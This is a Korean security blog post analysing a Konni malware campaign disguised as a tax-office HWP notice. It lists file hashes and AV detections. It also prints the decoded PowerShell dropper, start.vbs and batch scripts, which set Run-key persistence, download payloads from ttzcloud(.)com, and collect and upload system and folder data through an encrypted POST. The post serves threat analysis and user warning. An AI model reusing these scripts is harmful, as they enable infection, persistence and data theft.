꿈을꾸는 파랑새

오늘은 북한 해킹 단체 Konni(코니) 에서 국세청 사칭 악성코드인 국세청 종합소득세 해명자료 제출 안내(2023.9.4) 에 대해 글을 적어 보겠습니다.
2017년 Cisco Talos 연구원이 처음 발견했으며, 2014년부터 탐지되지 않은 채 고도의 타깃 공격으로 하는 북한의 해킹 단체 Thallium, APT37과 관련된 해킹 단체이며 Kimsuky(김수키)일 가능성도 있는 단체입니다. 일단 기본적으로 미끼(Decoy) 문서를 사용자에게 표시한 다음 피해자 컴퓨터에서 악성 파일을 실행합니다.
보통은 한글과 컴퓨터에서 만들어서 배포하는 포멧인 hwp 에서는 악성코드가 없겠지 생각을 하지만 해당 포멧을 자주 이용하고 있으며 먼저 압축 파일 해쉬값은 다음과 같습니다.
파일명: 국세청 종합소득세 해명자료 제출 안내·zip
사이즈:377 KB
CRC32: 874a31f4
MD5:ddd07976e889bfc58e2925cd22e5198a
SHA-1:cabb494d8a2a36a3f653aa7900a14a921dccf05e
SHA-256:d245f208d2a682f4d2c4464557973bf26dee756b251f162adb00b4074b4db3ac
그리고 해당 압축코드로 된 파일을 풀어보면 다음과 같이 각각 3개의 파일이 존재하는 것을 확인할 수가 있습니다.

국세청 종합소득세 해명자료 제출 안내.zip 에 포함된 악성코드
국세청 종합소득세 해명자료 제출 안내.zip 에 포함된 악성코드

국세청 종합소득세 해명자료 제출 안내.hwp(MD5:6f5e4b45ca0d8c1128d27a15421eea38)
국채 및 통화안정증권 거래ㆍ보유 명세서(소득세법 시행규칙).hwp(MD5:6e61cab3675ba0250d0d15fd7c010000)
근로소득지급명세서(개정안_230228).hwp(MD5:b90b0888214d2def5ab148b8d8055187)
입니다.

국세청 종합소득세 해명자료 제출 안내 포함된 파웨셀 코드
국세청 종합소득세 해명자료 제출 안내 포함된 파웨셀 코드

여기서 국세청 종합소득세 해명자료 제출 안내.hwp 를 보면 아이콘이 단축 주소로 돼 있는 것을 확인할 수가 있으며 해당 부분이 악성코드입니다.

ProcessExplorer 본 악성코드 실행
ProcessExplorer 본 악성코드 실행

파웨셀(PowerShell)로 명령어가 돼 있으며 해당 부분에선 HEX로 돼 있고 이걸 GCHQ 에서 만든 CyberChef(사이버 셰프)를 이용을 해서 요리를 해주면 다음과 같은 코드들이 들어가 있는 것을 확인할 수가 있습니다.

HEX 변환 코드 내용

$ZRMyuGsMNddJ = Get-Location(;)$AHZmxSCPeiePVMGeU (=) Get-ChildItem -Path $ZRMyuGsMNddJ
(-)Recurse *(.)lnk | where-object {$_(.)length -eq -kZRMy-} | Select-Object
(-)ExpandProperty FullName;if($AHZmxSCPeiePVMGeU.length -eq 0) {$ZRMyuGsMNddJ
(=) $env:Temp;$AHZmxSCPeiePVMGeU (=) Get-ChildItem -Path $ZRMyuGsMNddJ -Recurse *(.)lnk
| where-object {$_(.)length (-)eq -kZRMy-} | Select-Object -ExpandProperty FullName(;)}
;$ZRMyuGsMNddJ = Split-Path $AHZmxSCPeiePVMGeU;$qTFFyIkbVYR 
(=) New-Object System.IO.FileStream($AHZmxSCPeiePVMGeU, [System.IO.FileMode](:):Open,
[System.IO.FileAccess](:):Read);$qTFFyIkbVYR.Seek(-uGsMNd-, [System.IO.SeekOrigin](:):Begin)
;$vGjwwppjTYxncJaO (=) New-Object byte[] -dJDAHZm-;$qTFFyIkbVYR(.)Read($vGjwwppjTYxncJaO, 0,
-dJDAHZm-);$VqHEOTvC(H)psXqdfc = $AHZmxSCPeiePVMGeU.substring(0,$AHZmxSCPeiePVMGeU(.)length-4)
;for($i=0;$i -lt $vGjwwppjTYxncJaO(.)count;$i++)
{ $vGjwwpp(j)TYxncJaO[$i] = $vGjwwppjTYxnc(J)aO[$i] -bxor 0x77 }
sc $VqHE(O)TvCHpsXqdfc $vGjwwp(p)jTYxncJaO 
-Encoding Byte;& $VqHEOTvCH(p)sXqdfc;$qTFFyIkbVYR.Seek(-xSCPeieP-,
[System.IO.Se(e)kOrigin]::Begin);$dNPtLglnKXQBrva=New-Object byte[] -VMGeUPqTF-
;$qTF(F)yIkbVYR.Read($dNPtLglnKXQBrva, 0, -VMGeUPqTF-)
;$qTFFy(I)kbVYR.Close();Remove-Item -Path $AHZmxSCPeiePVMGeU
-Force;$VTONHCEThcr=$e(n)v:public (+) '\'
+ '-FyIkbVYRmv-'
;for($i=0;$i -lt $dNPtLglnKXQBrva.count;$i++) { $dNPtL(g)lnKXQBrva[$i]
= $dNPtLglnKXQBrva[$i] -b(x)or 0x77 }
sc $VTONHCEThcr $dNPtLglnKXQ(B)rva
-Encoding Byte;$RLUhLTeqATAsDtqoI = new-object -com s(h)ell.application;$EphEYJWvmytKw
= $RLUhLTeqATAsD(t)qoI.Namespace($VT(O)NHCEThcr)
;$RLUhLTeqATAsDtqoI.Namespace($env:public + '\' (+) 'documents')
.CopyHe(r)e($EphEYJWvmytKw.items(), 1044) 
| out-null;remove-item -path ($)VTONHCEThcr -force;$OpuubcUXTj
=$env:public(+)'\documents\start(.)vbs';& $OpuubcUXTj

CyberChef(사이버 세프)로 HEX 변환
CyberChef(사이버 세프)로 HEX 변환

코드 설명

해당 코드는 PowerShell 스크립트로 구성되어 있음
1. 현재 위치 (Get-Location)를 변수 $ZRMyuGsMNddJ에 저장
2. 현재 위치 및 하위 디렉터리에서 확장자가. lnk인 파일을 찾고 그런 다음 파일 크기가 어떤 값인지 확인합니다.
3. 파일을 열고 파일 내용을 읽어서 XOR 연산을 수행
4.XOR 연산 결과를 다시 파일로 저장
5. 악성 스크립트가 작동할 수 있는 위치로 파일을 복사하려고 시도
6. 시작 스크립트 (start.vbs)를 실행 시도

국세청 종합소득세 해명자료 제출 안내 악성코드 실행
국세청 종합소득세 해명자료 제출 안내 악성코드 실행

실행 결과

국세청 종합소득세 해명자료 제출 안내.hwp(MD5:6f5e4b45ca0d8c1128d27a15421eea38)->국세청 종합소득세 해명자료 제출 안내.hwp(MD5:7f7fa98fee3cfd5b927a678e43574f4b)
로 변경이 됨
그리고 C: \Users\Public\Documents 파일에 start.vbs 가 실행이 되고 6개의 파일이 생성되는 것을 확인할 수가 있습니다.

악성코드 실행 시 보안 경고
악성코드 실행 시 보안 경고

start.vbs 내용

Set wmObjStart = GetObject("winmgmts:win32_ProcessStartup")
Set objConfig = wmObjStart.SpawnInstance_
objConfig.ShowWindow = 0
oMNGDkAxevWHSiZA = Left(WScript.ScriptFullName, InstrRev(WScript.ScriptFullName, "\") - 1)
Set wmObj = GetObject("winmgmts:win32_process")
res = wmObj.Create(oMNGDkAxevWHSiZA & "\05772046(.)bat", Null, objConfig, pid)
Set w(m)Obj = Nothing
Set objC(o)nfig = Nothing
Set wmObj(S)tart = Nothing

start.vbs 파일 내부
start.vbs 파일 내부

코드 설명

해당 스크립트는 VBScript를 사용하여 윈도우 운영 체제에서 새로운 프로세스를 실행하는 데 사용스크립트의 주요 기능은 다음과 같습니다.
1.wmObjStart 객체 생성:
GetObject("winmgmts:win32_ProcessStartup")를 사용하여 winmgmts:win32_ProcessStartup WMI 개체를 가져와서 wmObjStart 변수에 할당
2.objConfig 객체 생성:
wmObjStart.SpawnInstance_를 호출하여 win32_ProcessStartup의 새 인스턴스를 만듬
해당 새로운 인스턴스를 objConfig 변수에 할당
3.윈도우 창 숨기기 설정:
objConfig.ShowWindow = 0 을 사용하여 실행될 새 프로세스의 윈도우를 숨김 0 은 윈도우를 숨기는 설정
4. 실행될 배치 파일 경로 설정:
WScript.ScriptFullName을 사용하여 현재 VBScript 스크립트 파일의 전체 경로를 가져옵니다.
Left(..., InstrRev(...)) 을 사용하여 경로에서 파일 이름을 제외한 부분을 가져옴 즉, 스크립트 파일이 있는 폴더의 경로를 획득
얻은 폴더 경로에 \05772046.bat 를 추가하여 실행될 배치 파일의 전체 경로를 생성
5.새 프로세스 생성:
wmObj.Create 를 호출하여 새로운 프로세스를 생성
첫 번째 인수로는 실행될 파일의 경로를 전달
두 번째 인수로는 환경 변수 설정을 전달 여기서는 Null을 사용하여 아무 설정도 하지 않습니다.
세 번째 인수로는 objConfig를 전달하여 새로운 프로세스의 설정(숨겨진 윈도우)을 적용
pid 변수에는 새로 생성된 프로세스의 ID가 반환
6.객체 정리:
더는 필요하지 않은 객체들을 정리하고 메모리를 확보하기 위해 관련된 변수들을 Nothing 으로 설정
그리고 나서 05772046.bat 를 실행을 합니다.

05772046.bat  코드

@echo off

pushd "%(~)dp0"

if exist "43595826(.)bat" (

	reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
    /v svchostno2 /t REG_SZ /d "%~dp0start(.)vbs" /f > nul
	
	call 43595826(.)bat > nul
	call 36838375(.)bat > nul

	del /f /q 43595826(.)bat > nul
)

if not exist "43595826(.)bat" (
	if not exist "upok(.)txt"  (
		call 36838375(.)bat > nul
	)
)

if not exist "pakistan(.)txt" (goto 1)
if exist "pakistan(.)txt" (goto EXIT)

:1

if exist "temprun(.)bat" (
del /f /q temprun(.)bat
)

call 67611071(.)bat "http://ttzcloud(.)com/list(.)php?f=%COMPUTERNAME%.txt"
"%~dp0TBMjS(.)cab" "1"> nul

expand TBMjS(.)cab -F:* %~dp0 > nul
del /f /q TBMjS(.)cab > nul
call temprun(.)bat > nul

timeout -t 57 /nobreak

if not exist "pakistan(.)txt" (goto 1)
if exist "pakistan(.)txt" (goto EXIT)

:EXIT
del /f /q "pakistan.txt"

코드 설명

1.레지스트리 설정:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "%~dp0start.vbs" /f > nul
해당 부분은 레지스트리에 svchostno2 라는 이름으로 %~dp0start.vbs 스크립트를 등록
%~dp0 는 현재 스크립트 파일이 위치한 디렉터리 경로를 나타냄
해당 명령은 Windows 시작 시 스크립트를 실행하도록 설정
2.파일 실행:
call 43595826.bat > nul
43595826.bat 파일을 실행하고 실행 결과를 화면에 표시하지 않고 무시
call 36838375.bat > nul
36838375.bat 파일을 실행하고 실행 결과를 화면에 표시하지 않고 무시
3. 파일 삭제:
del /f /q 43595826.bat > nul
43595826.bat 파일을 무조건 삭제
4.조건부 파일 실행
if not exist 43595826.bat:
43595826.bat 파일이 없는 경우 다음 작업을 수행
if not exist upok.txt:
upok.txt 파일이 없는 경우 다음 작업을 수행
call 36838375.bat > nul 을 실행
5.파일 다운로드 및 처리:
call 67611071.bat http://ttzcloud(.)com/list(.)php?f=%COMPUTERNAME%.txt" "%~dp0TBMjS.cab" "1":
67611071.bat 파일을 실행하고 웹에서 데이터를 다운로드하여 %~dp0TBMjS.cab 파일로 저장
1"은 명령 실행 모드를 나타내며 이에 따라 67611071.bat 파일이 다르게 동작
expand TBMjS.cab -F:* %~dp0 > nul:
TBMjS.cab 파일을 현재 디렉토리로 풉니다.
del /f /q TBMjS.cab > nul:
TBMjS.cab 파일을 무조건 삭제
call temprun.bat > nul:
temprun.bat 파일을 실행하고 실행 결과를 화면에 표시하지 않고 무시
6.대기 및 조건부 실행:
timeout -t 57 /nobreak:
57초 동안 대기
nobreak 옵션으로 사용자가 타임아웃을 중지할 수 없도록 설정
if not exist "pakistan.txt":
pakistan.txt 파일이 없는 경우 1 레이블로 이동
7. 스크립트 종료:
if exist "pakistan.txt":
"pakistan.txt" 파일이 있는 경우 "EXIT" 레이블로 이동
EXIT:
스크립트의 종료 부분으로 pakistan.txt 파일을 무조건 삭제
해당 스크립트는 주로 파일의 실행, 삭제, 다운로드, 대기, 조건부 실행 등 다양한 파일 및 프로세스 조작을 수행 그동안 조건문을 사용하여 특정 파일의 존재 여부에 따라 다른 작업을 수행

다른 bat도 수행하지만 36838375.bat 부분이 컴퓨터 개인정보 수집 및 업로드 부분입니다.

36838375.bat 코드 내용

컴퓨터 정보 수집 및 업로드
컴퓨터 정보 수집 및 업로드

코드 내용

@echo off
pushd "%~dp0"
dir C:\Users\%username%\downloads\ /s > %~dp0cuserdown.txt
dir C:\Users\%username%\documents\ /s > %~dp0cuserdocu.txt
dir C:\Users\%username%\desktop\ /s > %~dp0cuserdesk.txt

nslookup myip.opendns(.)com resolver1.opendns(.)com > %~dp0ipinfo.txt
tasklist > %~dp0tsklt.txt
systeminfo > %~dp0systeminfo.txt

timeout -t 5 /nobreak
set url=http://ttzcloud(.)com/upload.php
call 74727756.bat "%u(r)l%" "cuserdown.txt"  "%COMPUTERNAME%_cuserdown.txt" >nul
call 74727756.bat "%u(r)l%" "cuserdocu.txt"  "%COMPUTERNAME%_cuserdocu.txt" >nul
call 74727756.bat "%u(r)l%" "cuserdesk.txt"  "%COMPUTERNAME%_cuserdesk.txt" >nul
call 74727756.bat "%u(r)l%" "systeminfo.txt"  "%COMPUTERNAME%_systeminfo.txt" >nul
call 74727756.bat "%u(r)l%" "ipinfo.txt"  "%COMPUTERNAME%_ipinfo.txt" >nul
call 74727756.bat "%u(r)l%" "tsklt.txt"  "%COMPUTERNAME%_tsklt.txt" >nul

코드 설명

1. 작업 디렉터리 설정:
pushd "%~dp0":현재 스크립트 파일이 있는 디렉터리로 작업 디렉터리를 변경
2. 사용자 다운로드, 문서, 데스크톱 폴더 내 파일 목록을 텍스트 파일로 저장:
dir C:\Users\%username%\downloads\ /s > %~dp0cuserdown.txt: 사용자 다운로드 폴더 내 파일 및 서브 디렉토리 목록을 cuserdown.txt 파일에 저장
dir C:\Users\%username%\documents\ /s > %~dp0cuserdocu.txt:사용자 문서 폴더 내 파일 및 서브 디렉토리 목록을 cuserdocu.txt 파일에 저장
dir C:\Users\%username%\desktop\ /s > %~dp0cuserdesk.txt:사용자 데스크톱 폴더 내 파일 및 서브 디렉토리 목록을 cuserdesk.txt 파일에 저장
3. 공용 IP 주소 조회 및 정보 수집:
nslookup myip.opendns(.)com resolver1.opendns(.)com > %~dp0ipinfo.txt:현재 시스템의 공용 IP 주소를 조회하고 ipinfo(.)txt 파일에 저장
4. 현재 실행 중인 프로세스 목록, 시스템 정보 수집:
tasklist > %~dp0tsklt.txt:현재 실행 중인 프로세스 목록을 tsklt.txt 파일에 저장
systeminfo > %~dp0systeminfo.txt:시스템 정보를 systeminfo.txt 파일에 저장.
5. 대기:
timeout -t 5 /nobreak:5초 동안 대기
/nobreak 옵션을 사용하여 사용자가 타임아웃을 중지할 수 없도록 합니다.
6. 파일 업로드:
set url=http://ttzcloud(.)com/upload(.)php:업로드할 웹 서버의 URL을 설정
call 74727756.bat "%u(r)l%" "cuserdown.txt" "%COMPUTERNAME%_cuserdown.txt" >nul:74727756.bat 파일을 호출하여 사용자 다운로드 목록 파일을 웹 서버에 업로드
이후 사용자 문서, 데스크톱 파일, 시스템 정보, IP 정보, 프로세스 목록 파일도 업로드
해당 스크립트는 주로 사용자 폴더 내 파일 목록 및 시스템 정보를 수집하여 이를 웹 서버에 업로드 하는 역할을 수행
배치 파일이 데이터를 수집하고 전송하는 과정의 자세한 내용은 74727756.bat 파일 내에서 확인할 수 있음

74727756.bat 내용

@echo off
pushd %~dp0
set "tDTVLEqumwVkQwuk=%~1"
set fName=fn
set fData=fd
powershell -command "function ESTR{param ([Parameter(Mandatory(=)$true)]
[string]$PlainText,[Parameter(Mandatory=$true)]
[string]$Key);$plainBytes (=) [System.Text(.)Encoding]::
UTF8.GetBytes($PlainText);$keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s
= New-Object byte[](256);$k = New-Object byte[](256)
;for ($i = 0; $i -lt 2(5)6; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i %% $keyBytes.Length];}$j
(=) 0
;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) %% 256;$temp
(=) $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encryptedBytes
(=) New-Object byte[] $plainBytes.Length;$i (=) 0;$j = 0
;for ($n = 0; $n -lt $plainBytes.Length; $n++) {$i = ($i + 1) %% 256;$j
= ($j + $s[$i]) %% 256;$temp = $s[$i];$s[$i] (=) $s[$j];$s[$j]
= $temp;$t = ($s[$i] + $s[$j]) %% 256
;$encryptedBytes[$n] (=) $plainBytes[$n] -bxor $s[$t];}
$encryptedString (=) [System.Convert]
::ToBase64String($encryptedBytes);return $encryptedString;}$key=(Get-Date)
.Ticks.ToString();$tDTVLEqumwVkQwuk='%tDTVLEqumwVkQwuk%';$fn='%~3';$fp='%~dp0%~2
;$dt=gc -Path $fp (-)Raw |
Out-String;Add-Type -AssemblyName 'System.Web';$fn=ESTR -PlainText $fn -Key
$key;$dt=ESTR -PlainText $dt (-)Key $key;$query = [System.Web.HttpUtility]
::ParseQueryString('');$query['%fName%']=$fn;$query['%fData%']=$dt;$query['r']
(=)$key;$b=$query.ToString();$ba=[System.Text.Encoding]::UTF8.GetBytes($b)
;$r=[System.Net.WebRequest]:(:)Create($tDTVLEqumwVkQwuk)
;$r.Method='POST';$r.ContentType='application/x-www-form-urlencoded'
(;)$r.ContentLength=$ba.Length;$rS
= $r(.)GetRequestStream()
;$rS.Write($ba,0,$ba(.)Length);$rS.Close();$rp=$r.GetResponse();if($rp.StatusCode
-eq [System.Net(.)HttpStatusCode]
::OK){Remove-Item -Path $fp;$fpok='%~dp0upok(.)txt';New-Item -ItemType File -Path $fpok;}"
> nul

코드 설명

PowerShell 스크립트를 실행하여 파일을 암호화하고 웹 서버로 전송하는 역할
1. set "tDTVLEqumwVkQwuk=%~1":%~1을 사용하여 스크립트에 전달된 첫 번째 인수를 변수 tDTVLEqumwVkQwuk 에 저장
해당 변수는 웹 서버의 URL
2. set fName=fn 및 set fData=fd:fName과 fData 변수를 설정하여 나중에 PowerShell 스크립트 내에서 사용
3.powershell -command….:Power Shell을 실행하고 명령어 블록 내에 PowerShell 스크립트를 삽입
PowerShell 스크립트는 다음 주요 작업을 수행
ESTR 함수 정의: 해당 함수는 입력된 평문 데이터와 키를 이용하여 데이터를 암호화
랜덤키 생성: 현재 날짜 및 시간을 이용하여 랜덤 키를 생성
파일 이름 및 파일 데이터 암호화: 파일 이름과 파일 데이터를 생성된 랜덤 키를 사용하여 암호화
웹 서버로 데이터 전송: 암호화된 파일 이름과 데이터를 웹 서버에 POST 요청으로 전송
웹 서버 응답 확인: 웹 서버의 응답을 확인하고 상태 코드가 OK였으면 원본 파일을 삭제하고 %~dp0upok.txt 파일을 생성
해당 스크립트는 파일을 암호화하고 암호화된 데이터를 웹 서버로 전송하는 목적이 있습니다.
2023-09-12 11:57:23 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들
AhnLab-V3:Dropper/LNK.Generic
Arcabit:Trojan.Generic.D41EB80C
Avast:LNK:Agent-HP [Trj]
AVG:LNK:Agent-HP [Trj]
BitDefender:Trojan.GenericKD.69122060
DrWeb:Trojan.Siggen21.26662
Emsisoft:Trojan.GenericKD.69122060 (B)
eScan:Trojan.GenericKD.69122060
ESET-NOD32:BAT/TrojanDownloader.Agent.NWV
GData:Trojan.GenericKD.69122060
Google:Detected
Gridinsoft (no cloud):Susp.Obfuscted_PowerShell_Code.C.sd!yf
Ikarus:Trojan-Downloader.BAT.Agent
Kaspersky:HEUR:Trojan.Multi.Powesta.g
McAfee:Artemis!6F5E4B45CA0D
McAfee-GW-Edition:Artemis!6F5E4B45CA0D
Microsoft:Trojan:Win32/Malagent!MSR
QuickHeal:Lnk.trojan.A9563242
Sangfor Engine Zero:Trojan.Generic-LNK.Save.e2d78363
SentinelOne (Static ML):Static AI - Suspicious Archive
Sophos:Mal/PowLnkObf-A
Trellix (FireEye):Trojan.GenericKD.69122060
TrendMicro:TROJ_FRS.VSNTI423
VBA32:Trojan.Link.Crafted
VIPRE:Trojan.GenericKD.69122060
ViRobot:LNK.S.Agent.180614
ZoneAlarm by Check Point:HEUR:Trojan.Multi.Powesta.g
결론 이메일 로 오든 클라우드 서비스를 이용해서 파일을 내려받기 하든 간에 기본적으로 이렇게 쓸데없이 워드 또는 한글과 컴퓨터에 HWP 아이콘을 사용하고 있는데 lnk 파일 이 존재 하면 일단 악성코드이면 기본적으로 백신 프로그램을 사용하고 있으며 사전에 차단할 수가 있는 악성코드입니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band